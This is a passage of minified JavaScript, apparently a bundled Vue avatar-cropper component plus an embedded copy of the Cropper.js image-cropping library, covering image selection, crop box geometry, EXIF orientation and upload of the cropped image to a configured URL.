0}},methods:{destroy:function(){this.cropper.destroy(),this.$refs.input.value="",this.dataUrl=void 0},submit:function(){this.$emit("submit"),this.uploadUrl?this.uploadImage():this.uploadHandler?this.uploadHandler(this.cropper):this.$emit("error","No upload handler found.","user"),this.destroy()},pickImage:function(){this.$refs.input.click()},createCropper:function(){this.cropper=new i.a(this.$refs.img,this.cropperOptions)},uploadImage:function(){var t=this;this.cropper.getCroppedCanvas(this.outputOptions).toBlob(function(e){var o=new FormData,r=new XMLHttpRequest,a=Object.assign({},t.uploadFormData);for(var i in a)o.append(i,a[i]);for(var n in o.append(t.uploadFormName,e,t.filename),t.$emit("uploading",o,r),r.open("POST",t.uploadUrl,!0),t.uploadHeaders)r.setRequestHeader(n,t.uploadHeaders[n]);r.onreadystatechange=function(){if(4===r.readyState){var e="";try{e=JSON.parse(r.responseText)}catch(t){e=r.responseText}t.$emit("completed",e,o,r),[200,201,204].indexOf(r.status)>-1?t.$emit("uploaded",e,o,r):t.$emit("error","Image upload fail.","upload",r)}},r.send(o)},this.outputMime,this.outputQuality)}},mounted:function(){var t=this,e="object"==n(this.trigger)?this.trigger:document.querySelector(this.trigger);e?e.addEventListener("click",this.pickImage):this.$emit("error","No avatar make trigger found.","user");var o=this.$refs.input;o.addEventListener("change",function(){if(null!=o.files&&null!=o.files[0]){var e=new FileReader;e.onload=function(e){t.dataUrl=e.target.result},e.readAsDataURL(o.files[0]),t.filename=o.files[0].name||"unknown",t.$emit("changed",o.files[0],e)}})}}},function(t,e,o){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=o(2),a=o.n(r);e.default=a.a},function(t,e,o){t.exports=function(){"use strict";function t(t){return J.call(t).slice(8,-1).toLowerCase()}function e(t){return"number"==typeof t&&!isNaN(t)}function o(t){return void 0===t}function r(t){return"object"===(void 0===t?"undefined":j(t))&&null!==t}function a(t){if(!r(t))return!1;try{var e=t.constructor,o=e.prototype;return e&&o&&V.call(o,"isPrototypeOf")}catch(t){return!1}}function i(e){return"function"===t(e)}function n(e){return Array.isArray?Array.isArray(e):"array"===t(e)}function p(t){return"string"==typeof t&&(t=t.trim?t.trim():t.replace(P,"$1")),t}function s(t,o){if(t&&i(o)){var a=void 0;if(n(t)||e(t.length)){var p=t.length;for(a=0;a<p&&!1!==o.call(t,t[a],a,t);a+=1);}else r(t)&&Object.keys(t).forEach(function(e){o.call(t,t[e],e,t)})}return t}function c(t){for(var e=arguments.length,o=Array(e>1?e-1:0),a=1;a<e;a++)o[a-1]=arguments[a];if(r(t)&&o.length>0){if(Object.assign)return Object.assign.apply(Object,[t].concat(o));o.forEach(function(e){r(e)&&Object.keys(e).forEach(function(o){t[o]=e[o]})})}return t}function l(t,e){for(var o=arguments.length,r=Array(o>2?o-2:0),a=2;a<o;a++)r[a-2]=arguments[a];return function(){for(var o=arguments.length,a=Array(o),i=0;i<o;i++)a[i]=arguments[i];return t.apply(e,r.concat(a))}}function h(t,o){var r=t.style;s(o,function(t,o){$.test(o)&&e(t)&&(t+="px"),r[o]=t})}function d(t,o){if(o){if(e(t.length))return void s(t,function(t){d(t,o)});if(t.classList)return void t.classList.add(o);var r=p(t.className);r?r.indexOf(o)<0&&(t.className=r+" "+o):t.className=o}}function u(t,o){if(o)return e(t.length)?void s(t,function(t){u(t,o)}):t.classList?void t.classList.remove(o):void(t.className.indexOf(o)>=0&&(t.className=t.className.replace(o,"")))}function f(t,o,r){if(o)return e(t.length)?void s(t,function(t){f(t,o,r)}):void(r?d(t,o):u(t,o))}function m(t){return t.replace(Y,"$1-$2").toLowerCase()}function g(t,e){return r(t[e])?t[e]:t.dataset?t.dataset[e]:t.getAttribute("data-"+m(e))}function v(t,e,o){r(o)?t[e]=o:t.dataset?t.dataset[e]=o:t.setAttribute("data-"+m(e),o)}function b(t,e){if(r(t[e]))delete t[e];else if(t.dataset)try{delete t.dataset[e]}catch(o){t.dataset[e]=null}else t.removeAttribute("data-"+m(e))}function w(t,e,o){var r=p(e).split(_);r.length>1?s(r,function(e){w(t,e,o)}):t.removeEventListener?t.removeEventListener(e,o,!1):t.detachEvent&&t.detachEvent("on"+e,o)}function x(t,e,o,r){var a=p(e).split(_),i=o;a.length>1?s(a,function(e){x(t,e,o)}):(r&&(o=function(){for(var r=arguments.length,a=Array(r),n=0;n<r;n++)a[n]=arguments[n];return w(t,e,o),i.apply(t,a)}),t.addEventListener?t.addEventListener(e,o,!1):t.attachEvent&&t.attachEvent("on"+e,o))}function y(t,e,r){if(t.dispatchEvent){var a=void 0;return i(Event)&&i(CustomEvent)?a=o(r)?new Event(e,{bubbles:!0,cancelable:!0}):new CustomEvent(e,{detail:r,bubbles:!0,cancelable:!0}):o(r)?(a=document.createEvent("Event")).initEvent(e,!0,!0):(a=document.createEvent("CustomEvent")).initCustomEvent(e,!0,!0,r),t.dispatchEvent(a)}return!t.fireEvent||t.fireEvent("on"+e)}function C(t){var o=t||window.event;if(o.target||(o.target=o.srcElement||document),!e(o.pageX)&&e(o.clientX)){var r=t.target.ownerDocument||document,a=r.documentElement,i=r.body;o.pageX=o.clientX+((a&&a.scrollLeft||i&&i.scrollLeft||0)-(a&&a.clientLeft||i&&i.clientLeft||0)),o.pageY=o.clientY+((a&&a.scrollTop||i&&i.scrollTop||0)-(a&&a.clientTop||i&&i.clientTop||0))}return o}function M(t){var e=document.documentElement,o=t.getBoundingClientRect();return{left:o.left+((window.scrollX||e&&e.scrollLeft||0)-(e&&e.clientLeft||0)),top:o.top+((window.scrollY||e&&e.scrollTop||0)-(e&&e.clientTop||0))}}function D(t,e){return t.getElementsByTagName(e)}function k(t,e){return t.getElementsByClassName?t.getElementsByClassName(e):t.querySelectorAll("."+e)}function A(t){return document.createElement(t)}function B(t,e){t.appendChild(e)}function T(t){t.parentNode&&t.parentNode.removeChild(t)}function O(t){var e=t.match(I);return e&&(e[1]!==location.protocol||e[2]!==location.hostname||e[3]!==location.port)}function E(t){var e="timestamp="+(new Date).getTime();return t+(-1===t.indexOf("?")?"?":"&")+e}function S(t){var o=[],r=t.translateX,a=t.translateY,i=t.rotate,n=t.scaleX,p=t.scaleY;e(r)&&0!==r&&o.push("translateX("+r+"px)"),e(a)&&0!==a&&o.push("translateY("+a+"px)"),e(i)&&0!==i&&o.push("rotate("+i+"deg)"),e(n)&&1!==n&&o.push("scaleX("+n+")"),e(p)&&1!==p&&o.push("scaleY("+p+")");var s=o.length?o.join(" "):"none";return{WebkitTransform:s,msTransform:s,transform:s}}function L(t,e){var o=Math.abs(t.degree)%180,r=(o>90?180-o:o)*Math.PI/180,a=Math.sin(r),i=Math.cos(r),n=t.width,p=t.height,s=t.aspectRatio,c=void 0,l=void 0;return e?l=(c=n/(i+a/s))/s:(c=n*i+p*a,l=n*a+p*i),{width:c,height:l}}function R(t,o,r){var a=A("canvas"),i=a.getContext("2d"),n=0,p=0,s=o.naturalWidth,c=o.naturalHeight,l=o.rotate,h=o.scaleX,d=o.scaleY,u=e(h)&&e(d)&&(1!==h||1!==d),f=e(l)&&0!==l,m=f||u,g=s*Math.abs(h||1),v=c*Math.abs(d||1),b=void 0,w=void 0,x=void 0;return u&&(b=g/2,w=v/2),f&&(x=L({width:g,height:v,degree:l}),g=x.width,v=x.height,b=g/2,w=v/2),a.width=g,a.height=v,r.fillColor&&(i.fillStyle=r.fillColor,i.fillRect(0,0,g,v)),m&&(n=-s/2,p=-c/2,i.save(),i.translate(b,w)),f&&i.rotate(l*Math.PI/180),u&&i.scale(h,d),i.imageSmoothingEnabled=!!r.imageSmoothingEnabled,r.imageSmoothingQuality&&(i.imageSmoothingQuality=r.imageSmoothingQuality),i.drawImage(t,Math.floor(n),Math.floor(p),Math.floor(s),Math.floor(c)),m&&i.restore(),a}function N(t){var e=new DataView(t),o=e.byteLength,r=void 0,a=void 0,i=void 0,n=void 0,p=void 0,s=void 0,c=void 0,l=void 0,h=void 0;if(255===e.getUint8(0)&&216===e.getUint8(1))for(l=2;l<o;){if(255===e.getUint8(l)&&225===e.getUint8(l+1)){s=l;break}l+=1}if(s&&(a=s+10,"Exif"===function(t,e,o){var r="",a=e;for(o+=e;a<o;a+=1)r+=Z(t.getUint8(a));return r}(e,s+4,4)&&(p=e.getUint16(a),((n=18761===p)||19789===p)&&42===e.getUint16(a+2,n)&&(i=e.getUint32(a+4,n))>=8&&(c=a+i))),c)for(o=e.getUint16(c,n),h=0;h<o;h+=1)if(l=c+12*h+2,274===e.getUint16(l,n)){l+=8,r=e.getUint16(l,n),Q&&e.setUint16(l,1,n);break}return r}function H(t,e){var o=t.pageX,r=t.pageY,a={endX:o,endY:r};return e?a:c({startX:o,startY:r},a)}function z(t){var e=c({},t),o=[];return s(t,function(t,r){delete e[r],s(e,function(e){var r=Math.abs(t.startX-e.startX),a=Math.abs(t.startY-e.startY),i=Math.abs(t.endX-e.endX),n=Math.abs(t.endY-e.endY),p=Math.sqrt(r*r+a*a),s=Math.sqrt(i*i+n*n),c=(s-p)/p;o.push(c)})}),o.sort(function(t,e){return Math.abs(t)<Math.abs(e)}),o[0]}function U(t){var e=0,o=0,r=0;return s(t,function(t){var a=t.startX,i=t.startY;e+=a,o+=i,r+=1}),{pageX:e/=r,pageY:o/=r}}var W={viewMode:0,dragMode:"crop",aspectRatio:NaN,data:null,preview:"",responsive:!0,restore:!0,checkCrossOrigin:!0,checkOrientation:!0,modal:!0,guides:!0,center:!0,highlight:!0,background:!0,autoCrop:!0,autoCropArea:.8,movable:!0,rotatable:!0,scalable:!0,zoomable:!0,zoomOnTouch:!0,zoomOnWheel:!0,wheelZoomRatio:.1,cropBoxMovable:!0,cropBoxResizable:!0,toggleDragModeOnDblclick:!0,minCanvasWidth:0,minCanvasHeight:0,minCropBoxWidth:0,minCropBoxHeight:0,minContainerWidth:200,minContainerHeight:100,ready:null,cropstart:null,cropmove:null,cropend:null,crop:null,zoom:null},j="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},X=/^data:.*,/,Y=/([a-z\d])([A-Z])/g,I=/^(https?:)\/\/([^:\/?#]+):?(\d*)/i,_=/\s+/,$=/^(width|height|left|top|marginLeft|marginTop)$/,P=/^\s+(.*)\s+$/,F="undefined"!=typeof window?window.navigator:null,Q=F&&/(Macintosh|iPhone|iPod|iPad).*AppleWebKit/i.test(F.userAgent),q=Object.prototype,J=q.toString,V=q.hasOwnProperty,Z=String.fromCharCode,G={render:function(){var t=this;t.initContainer(),t.initCanvas(),t.initCropBox(),t.renderCanvas(),t.cropped&&t.renderCropBox()},initContainer:function(){var t=this,e=t.options,o=t.element,r=t.container,a=t.cropper,i="cropper-hidden";d(a,i),u(o,i);var n={width:Math.max(r.offsetWidth,Number(e.minContainerWidth)||200),height:Math.max(r.offsetHeight,Number(e.minContainerHeight)||100)};t.containerData=n,h(a,{width:n.width,height:n.height}),d(o,i),u(a,i)},initCanvas:function(){var t=this,e=t.options.viewMode,o=t.containerData,r=t.imageData,a=Math.abs(r.rotate)%180==90,i=a?r.naturalHeight:r.naturalWidth,n=a?r.naturalWidth:r.naturalHeight,p=i/n,s=o.width,l=o.height;o.height*p>o.width?3===e?s=o.height*p:l=o.width/p:3===e?l=o.width/p:s=o.height*p;var h={naturalWidth:i,naturalHeight:n,aspectRatio:p,width:s,height:l};h.left=(o.width-s)/2,h.top=(o.height-l)/2,h.oldLeft=h.left,h.oldTop=h.top,t.canvasData=h,t.limited=1===e||2===e,t.limitCanvas(!0,!0),t.initialImageData=c({},r),t.initialCanvasData=c({},h)},limitCanvas:function(t,e){var o=this,r=o.options,a=r.viewMode,i=o.containerData,n=o.canvasData,p=n.aspectRatio,s=o.cropBoxData,c=o.cropped&&s;if(t){var l=Number(r.minCanvasWidth)||0,h=Number(r.minCanvasHeight)||0;a>1?(l=Math.max(l,i.width),h=Math.max(h,i.height),3===a&&(h*p>l?l=h*p:h=l/p)):a>0&&(l?l=Math.max(l,c?s.width:0):h?h=Math.max(h,c?s.height:0):c&&(l=s.width,(h=s.height)*p>l?l=h*p:h=l/p)),l&&h?h*p>l?h=l/p:l=h*p:l?h=l/p:h&&(l=h*p),n.minWidth=l,n.minHeight=h,n.maxWidth=1/0,n.maxHeight=1/0}if(e)if(a){var d=i.width-n.width,u=i.height-n.height;n.minLeft=Math.min(0,d),n.minTop=Math.min(0,u),n.maxLeft=Math.max(0,d),n.maxTop=Math.max(0,u),c&&o.limited&&(n.minLeft=Math.min(s.left,s.left+(s.width-n.width)),n.minTop=Math.min(s.top,s.top+(s.height-n.height)),n.maxLeft=s.left,n.maxTop=s.top,2===a&&(n.width>=i.width&&(n.minLeft=Math.min(0,d),n.maxLeft=Math.max(0,d)),n.height>=i.height&&(n.minTop=Math.min(0,u),n.maxTop=Math.max(0,u))))}else n.minLeft=-n.width,n.minTop=-n.height,n.maxLeft=i.width,n.maxTop=i.height},renderCanvas:function(t){var e=this,o=e.canvasData,r=e.imageData,a=r.rotate;if(e.rotated){e.rotated=!1;var i=L({width:r.width,height:r.height,degree:a}),n=i.width/i.height,p=1===r.aspectRatio;if(p||n!==o.aspectRatio){if(o.left-=(i.width-o.width)/2,o.top-=(i.height-o.height)/2,o.width=i.width,o.height=i.height,o.aspectRatio=n,o.naturalWidth=r.naturalWidth,o.naturalHeight=r.naturalHeight,p&&a%90||a%180){var s=L({width:r.naturalWidth,height:r.naturalHeight,degree:a});o.naturalWidth=s.width,o.naturalHeight=s.height}e.limitCanvas(!0,!1)}}(o.width>o.maxWidth||o.width<o.minWidth)&&(o.left=o.oldLeft),(o.height>o.maxHeight||o.height<o.minHeight)&&(o.top=o.oldTop),o.width=Math.min(Math.max(o.width,o.minWidth),o.maxWidth),o.height=Math.min(Math.max(o.height,o.minHeight),o.maxHeight),e.limitCanvas(!1,!0),o.left=Math.min(Math.max(o.left,o.minLeft),o.maxLeft),o.top=Math.min(Math.max(o.top,o.minTop),o.maxTop),o.oldLeft=o.left,o.oldTop=o.top,h(e.canvas,c({width:o.width,height:o.height},S({translateX:o.left,translateY:o.top}))),e.renderImage(),e.cropped&&e.limited&&e.limitCropBox(!0,!0),t&&e.output()},renderImage:function(t){var e=this,o=e.canvasData,r=e.imageData,a=void 0,i=void 0,n=void 0,p=void 0;r.rotate&&(i=L({width:o.width,height:o.height,degree:r.rotate,aspectRatio:r.aspectRatio},!0),n=i.width,p=i.height,a={width:n,height:p,left:(o.width-n)/2,top:(o.height-p)/2}),c(r,a||{width:o.width,height:o.height,left:0,top:0}),h(e.image,c({width:r.width,height:r.height},S(c({translateX:r.left,translateY:r.top},r)))),t&&e.output()},initCropBox:function(){var t=this,e=t.options,o=e.aspectRatio,r=Number(e.autoCropArea)||.8,a=t.canvasData,i={width:a.width,height:a.height};o&&(a.height*o>a.width?i.height=i.width/o:i.width=i.height*o),t.cropBoxData=i,t.limitCropBox(!0,!0),i.width=Math.min(Math.max(i.width,i.minWidth),i.maxWidth),i.height=Math.min(Math.max(i.height,i.minHeight),i.maxHeight),i.width=Math.max(i.minWidth,i.width*r),i.height=Math.max(i.minHeight,i.height*r),i.left=a.left+(a.width-i.width)/2,i.top=a.top+(a.height-i.height)/2,i.oldLeft=i.left,i.oldTop=i.top,t.initialCropBoxData=c({},i)},limitCropBox:function(t,e){var o=this,r=o.options,a=r.aspectRatio,i=o.containerData,n=o.canvasData,p=o.cropBoxData,s=o.limited;if(t){var c=Number(r.minCropBoxWidth)||0,l=Number(r.minCropBoxHeight)||0,h=Math.min(i.width,s?n.width:i.width),d=Math.min(i.height,s?n.height:i.height);c=Math.min(c,i.width),l=Math.min(l,i.height),a&&(c&&l?l*a>c?l=c/a:c=l*a:c?l=c/a:l&&(c=l*a),d*a>h?d=h/a:h=d*a),p.minWidth=Math.min(c,h),p.minHeight=Math.min(l,d),p.maxWidth=h,p.maxHeight=d}e&&(s?(p.minLeft=Math.max(0,n.left),p.minTop=Math.max(0,n.top),p.maxLeft=Math.min(i.width,n.left+n.width)-p.width,p.maxTop=Math.min(i.height,n.top+n.height)-p.height):(p.minLeft=0,p.minTop=0,p.maxLeft=i.width-p.width,p.maxTop=i.height-p.height))},renderCropBox:function(){var t=this,e=t.options,o=t.containerData,r=t.cropBoxData;(r.width>r.maxWidth||r.width<r.minWidth)&&(r.left=r.oldLeft),(r.height>r.maxHeight||r.height<r.minHeight)&&(r.top=r.oldTop),r.width=Math.min(Math.max(r.width,r.minWidth),r.maxWidth),r.height=Math.min(Math.max(r.height,r.minHeight),r.maxHeight),t.limitCropBox(!1,!0),r.left=Math.min(Math.max(r.left,r.minLeft),r.maxLeft),r.top=Math.min(Math.max(r.top,r.minTop),r.maxTop),r.oldLeft=r.left,r.oldTop=r.top,e.movable&&e.cropBoxMovable&&v(t.face,"action",r.width===o.width&&r.height===o.height?"move":"all"),h(t.cropBox,c({width:r.width,height:r.height},S({translateX:r.left,translateY:r.top}))),t.cropped&&t.limited&&t.limitCanvas(!0,!0),t.disabled||t.output()},output:function(){var t=this;t.preview(),t.complete&&y(t.element,"crop",t.getData())}},K={initPreview:function(){var t=this,e=t.options.preview,o=A("img"),r=t.crossOrigin,a=r?t.crossOriginUrl:t.url;if(r&&(o.crossOrigin=r),o.src=a,B(t.viewBox,o),t.image2=o,e){var i=e.querySelector?[e]:document.querySelectorAll(e);t.previews=i,s(i,function(t){var e=A("img");v(t,"preview",{width:t.offsetWidth,height:t.offsetHeight,html:t.innerHTML}),r&&(e.crossOrigin=r),e.src=a,e.style.cssText='display:block;width:100%;height:auto;min-width:0!important;min-height:0!important;max-width:none!important;max-height:none!important;image-orientation:0deg!important;"',function(t){for(;t.firstChild;)t.removeChild(t.firstChild)}(t),B(t,e)})}},resetPreview:function(){s(this.previews,function(t){var e=g(t,"preview");h(t,{width:e.width,height:e.height}),t.innerHTML=e.html,b(t,"preview")})},preview:function(){var t=this,e=t.imageData,o=t.canvasData,r=t.cropBoxData,a=r.width,i=r.height,n=e.width,p=e.height,l=r.left-o.left-e.left,d=r.top-o.top-e.top;t.cropped&&!t.disabled&&(h(t.image2,c({width:n,height:p},S(c({translateX:-l,translateY:-d},e)))),s(t.previews,function(t){var o=g(t,"preview"),r=o.width,s=o.height,u=r,f=s,m=1;a&&(f=i*(m=r/a)),i&&f>s&&(u=a*(m=s/i),f=s),h(t,{width:u,height:f}),h(D(t,"img")[0],c({width:n*m,height:p*m},S(c({translateX:-l*m,translateY:-d*m},e))))}))}},tt="undefined"!=typeof window?window.PointerEvent:null,et=tt?"pointerdown":"touchstart mousedown",ot=tt?"pointermove":"touchmove mousemove",rt=tt?" pointerup pointercancel":"touchend touchcancel mouseup",at={bind:function(){var t=this,e=t.options,o=t.element,r=t.cropper;i(e.cropstart)&&x(o,"cropstart",e.cropstart),i(e.cropmove)&&x(o,"cropmove",e.cropmove),i(e.cropend)&&x(o,"cropend",e.cropend),i(e.crop)&&x(o,"crop",e.crop),i(e.zoom)&&x(o,"zoom",e.zoom),x(r,et,t.onCropStart=l(t.cropStart,t)),e.zoomable&&e.zoomOnWheel&&x(r,"wheel mousewheel DOMMouseScroll",t.onWheel=l(t.wheel,t)),e.toggleDragModeOnDblclick&&x(r,"dblclick",t.onDblclick=l(t.dblclick,t)),x(document,ot,t.onCropMove=l(t.cropMove,t)),x(document,rt,t.onCropEnd=l(t.cropEnd,t)),e.responsive&&x(window,"resize",t.onResize=l(t.resize,t))},unbind:function(){var t=this,e=t.options,o=t.element,r=t.cropper;i(e.cropstart)&&w(o,"cropstart",e.cropstart),i(e.cropmove)&&w(o,"cropmove",e.cropmove),i(e.cropend)&&w(o,"cropend",e.cropend),i(e.crop)&&w(o,"crop",e.crop),i(e.zoom)&&w(o,"zoom",e.zoom),w(r,et,t.onCropStart),e.zoomable&&e.zoomOnWheel&&w(r,"wheel mousewheel DOMMouseScroll",t.onWheel),e.toggleDragModeOnDblclick&&w(r,"dblclick",t.onDblclick),w(document,ot,t.onCropMove),w(document,rt,t.onCropEnd),e.responsive&&w(window,"resize",t.onResize)}},it=/^(e|w|s|n|se|sw|ne|nw|all|crop|move|zoom)$/,nt={resize:function(){var t=this,e=t.options,o=t.container,r=t.containerData,a=Number(e.minContainerWidth)||200,i=Number(e.minContainerHeight)||100;if(!t.disabled&&r.width!==a&&r.height!==i){var n=o.offsetWidth/r.width;if(1!==n||o.offsetHeight!==r.height){var p=void 0,c=void 0;e.restore&&(p=t.getCanvasData(),c=t.getCropBoxData()),t.render(),e.restore&&(t.setCanvasData(s(p,function(t,e){p[e]=t*n})),t.setCropBoxData(s(c,function(t,e){c[e]=t*n})))}}},dblclick:function(){var t=this;t.disabled||"none"===t.options.dragMode||t.setDragMode(function(t,e){return t.classList?t.classList.contains(e):t.className.indexOf(e)>-1}(t.dragBox,"cropper-crop")?"move":"crop")},wheel:function(t){var e=this,o=C(t),r=Number(e.options.wheelZoomRatio)||.1,a=1;e.disabled||(o.preventDefault(),e.wheeling||(e.wheeling=!0,setTimeout(function(){e.wheeling=!1},50),o.deltaY?a=o.deltaY>0?1:-1:o.wheelDelta?a=-o.wheelDelta/120:o.detail&&(a=o.detail>0?1:-1),e.zoom(-a*r,o)))},cropStart:function(t){var e=this;if(!e.disabled){var o=e.options,r=e.pointers,a=C(t),i=void 0;a.changedTouches?s(a.changedTouches,function(t){r[t.identifier]=H(t)}):r[a.pointerId||0]=H(a),i=Object.keys(r).length>1&&o.zoomable&&o.zoomOnTouch?"zoom":g(a.target,"action"),it.test(i)&&!1!==y(e.element,"cropstart",{originalEvent:a,action:i})&&(a.preventDefault(),e.action=i,e.cropping=!1,"crop"===i&&(e.cropping=!0,d(e.dragBox,"cropper-modal")))}},cropMove:function(t){var e=this,o=e.action;if(!e.disabled&&o){var r=e.pointers,a=C(t);a.preventDefault(),!1!==y(e.element,"cropmove",{originalEvent:a,action:o})&&(a.changedTouches?s(a.changedTouches,function(t){c(r[t.identifier],H(t,!0))}):c(r[a.pointerId||0],H(a,!0)),e.change(a))}},cropEnd:function(t){var e=this;if(!e.disabled){var o=e.action,r=e.pointers,a=C(t);a.changedTouches?s(a.changedTouches,function(t){delete r[t.identifier]}):delete r[a.pointerId||0],o&&(a.preventDefault(),Object.keys(r).length||(e.action=""),e.cropping&&(e.cropping=!1,f(e.dragBox,"cropper-modal",e.cropped&&this.options.modal)),y(e.element,"cropend",{originalEvent:a,action:o}))}}},pt={change:function(t){var e=this,o=e.options,r=e.containerData,a=e.canvasData,i=e.cropBoxData,n=o.aspectRatio,p=e.action,c=i.width,l=i.height,h=i.left,d=i.top,f=h+c,m=d+l,g=0,v=0,b=r.width,w=r.height,x=!0,y=void 0;!n&&t.shiftKey&&(n=c&&l?c/l:1),e.limited&&(g=i.minLeft,v=i.minTop,b=g+Math.min(r.width,a.width,a.left+a.width),w=v+Math.min(r.height,a.height,a.top+a.height));var C=e.pointers,D=C[Object.keys(C)[0]],k={x:D.endX-D.startX,y:D.endY-D.startY};switch(p){case"all":h+=k.x,d+=k.y;break;case"e":if(k.x>=0&&(f>=b||n&&(d<=v||m>=w))){x=!1;break}f+k.x>b&&(k.x=b-f),c+=k.x,n&&(l=c/n,d-=k.x/n/2),c<0&&(p="w",c=0);break;case"n":if(k.y<=0&&(d<=v||n&&(h<=g||f>=b))){x=!1;break}d+k.y<v&&(k.y=v-d),l-=k.y,d+=k.y,n&&(c=l*n,h+=k.y*n/2),l<0&&(p="s",l=0);break;case"w":if(k.x<=0&&(h<=g||n&&(d<=v||m>=w))){x=!1;break}h+k.x<g&&(k.x=g-h),c-=k.x,h+=k.x,n&&(l=c/n,d+=k.x/n/2),c<0&&(p="e",c=0);break;case"s":if(k.y>=0&&(m>=w||n&&(h<=g||f>=b))){x=!1;break}m+k.y>w&&(k.y=w-m),l+=k.y,n&&(c=l*n,h-=k.y*n/2),l<0&&(p="n",l=0);break;case"ne":if(n){if(k.y<=0&&(d<=v||f>=b)){x=!1;break}l-=k.y,d+=k.y,c=l*n}else k.x>=0?f<b?c+=k.x:k.y<=0&&d<=v&&(x=!1):c+=k.x,k.y<=0?d>v&&(l-=k.y,d+=k.y):(l-=k.y,d+=k.y);c<0&&l<0?(p="sw",l=0,c=0):c<0?(p="nw",c=0):l<0&&(p="se",l=0);break;case"nw":if(n){if(k.y<=0&&(d<=v||h<=g)){x=!1;break}l-=k.y,d+=k.y,c=l*n,h+=k.y*n}else k.x<=0?h>g?(c-=k.x,h+=k.x):k.y<=0&&d<=v&&(x=!1):(c-=k.x,h+=k.x),k.y<=0?d>v&&(l-=k.y,d+=k.y):(l-=k.y,d+=k.y);c<0&&l<0?(p="se",l=0,c=0):c<0?(p="ne",c=0):l<0&&(p="sw",l=0);break;case"sw":if(n){if(k.x<=0&&(h<=g||m>=w)){x=!1;break}c-=k.x,h+=k.x,l=c/n}else k.x<=0?h>g?(c-=k.x,h+=k.x):k.y>=0&&m>=w&&(x=!1):(c-=k.x,h+=k.x),k.y>=0?m<w&&(l+=k.y):l+=k.y;c<0&&l<0?(p="ne",l=0,c=0):c<0?(p="se",c=0):l<0&&(p="nw",l=0);break;case"se":if(n){if(k.x>=0&&(f>=b||m>=w)){x=!1;break}c+=k.x,l=c/n}else k.x>=0?f<b?c+=k.x:k.y>=0&&m>=w&&(x=!1):c+=k.x,k.y>=0?m<w&&(l+=k.y):l+=k.y;c<0&&l<0?(p="nw",l=0,c=0):c<0?(p="sw",c=0):l<0&&(p="ne",l=0);break;case"move":e.move(k.x,k.y),x=!1;break;case"zoom":e.zoom(z(C),t),x=!1;break;case"crop":if(!k.x||!k.y){x=!1;break}y=M(e.cropper),h=D.startX-y.left,d=D.startY-y.top,c=i.minWidth,l=i.minHeight,k.x>0?p=k.y>0?"se":"ne":k.x<0&&(h-=c,p=k.y>0?"sw":"nw"),k.y<0&&(d-=l),e.cropped||(u(e.cropBox,"cropper-hidden"),e.cropped=!0,e.limited&&e.limitCropBox(!0,!0))}x&&(i.width=c,i.height=l,i.left=h,i.top=d,e.action=p,e.renderCropBox()),s(C,function(t){t.startX=t.endX,t.startY=t.endY})}},st={crop:function(){var t=this;return t.ready&&!t.disabled&&(t.cropped||(t.cropped=!0,t.limitCropBox(!0,!0),t.options.modal&&d(t.dragBox,"cropper-modal"),u(t.cropBox,"cropper-hidden")),t.setCropBoxData(t.initialCropBoxData)),t},reset:function(){var t=this;return t.ready&&!t.disabled&&(t.imageData=c({},t.initialImageData),t.canvasData=c({},t.initialCanvasData),t.cropBoxData=c({},t.initialCropBoxData),t.renderCanvas(),t.cropped&&t.renderCropBox()),t},clear:function(){var t=this;return t.cropped&&!t.disabled&&(c(t.cropBoxData,{left:0,top:0,width:0,height:0}),t.cropped=!1,t.renderCropBox(),t.limitCanvas(!0,!0),t.renderCanvas(),u(t.dragBox,"cropper-modal"),d(t.cropBox,"cropper-hidden")),t},replace:function(t,e){var o=this;return!o.disabled&&t&&(o.isImg&&(o.element.src=t),e?(o.url=t,o.image.src=t,o.ready&&(o.image2.src=t,s(o.previews,function(e){D(e,"img")[0].src=t}))):(o.isImg&&(o.replaced=!0),o.options.data=null,o.load(t))),o},enable:function(){var t=this;return t.ready&&(t.disabled=!1,u(t.cropper,"cropper-disabled")),t},disable:function(){var t=this;return t.ready&&(t.disabled=!0,d(t.cropper,"cropper-disabled")),t},destroy:function(){var t=this,e=t.element,o=t.image;return t.loaded?(t.isImg&&t.replaced&&(e.src=t.originalUrl),t.unbuild(),u(e,"cropper-hidden")):t.isImg?w(e,"load",t.onStart):o&&T(o),b(e,"cropper"),t},move:function(t,e){var r=this.canvasData;return this.moveTo(o(t)?t:r.left+Number(t),o(e)?e:r.top+Number(e))},moveTo:function(t,r){var a=this,i=a.canvasData,n=!1;return o(r)&&(r=t),t=Number(t),r=Number(r),a.ready&&!a.disabled&&a.options.movable&&(e(t)&&(i.left=t,n=!0),e(r)&&(i.top=r,n=!0),n&&a.renderCanvas(!0)),a},zoom:function(t,e){var o=this.canvasData;return t=(t=Number(t))<0?1/(1-t):1+t,this.zoomTo(o.width*t/o.naturalWidth,e)},zoomTo:function(t,e){var o=this,r=o.options,a=o.canvasData,i=a.width,n=a.height,p=a.naturalWidth,s=a.naturalHeight;if((t=Number(t))>=0&&o.ready&&!o.disabled&&r.zoomable){var c=p*t,l=s*t;if(!1===y(o.element,"zoom",{originalEvent:e,oldRatio:i/p,ratio:c/p}))return o;if(e){var h=o.pointers,d=M(o.cropper),u=h&&Object.keys(h).length?U(h):{pageX:e.pageX,pageY:e.pageY};a.left-=(c-i)*((u.pageX-d.left-a.left)/i),a.top-=(l-n)*((u.pageY-d.top-a.top)/n)}else a.left-=(c-i)/2,a.top-=(l-n)/2;a.width=c,a.height=l,o.renderCanvas(!0)}return o},rotate:function(t){return this.rotateTo((this.imageData.rotate||0)+Number(t))},rotateTo:function(t){var o=this;return e(t=Number(t))&&o.ready&&!o.disabled&&o.options.rotatable&&(o.imageData.rotate=t%360,o.rotated=!0,o.renderCanvas(!0)),o},scale:function(t,r){var a=this,i=a.imageData,n=!1;return o(r)&&(r=t),t=Number(t),r=Number(r),a.ready&&!a.disabled&&a.options.scalable&&(e(t)&&(i.scaleX=t,n=!0),e(r)&&(i.scaleY=r,n=!0),n&&a.renderImage(!0)),a},scaleX:function(t){var o=this.imageData.scaleY;return this.scale(t,e(o)?o:1)},scaleY:function(t){var o=this.imageData.scaleX;return this.scale(e(o)?o:1,t)},getData:function(t){var e=this,o=e.options,r=e.imageData,a=e.canvasData,i=e.cropBoxData,n=void 0,p=void 0;return 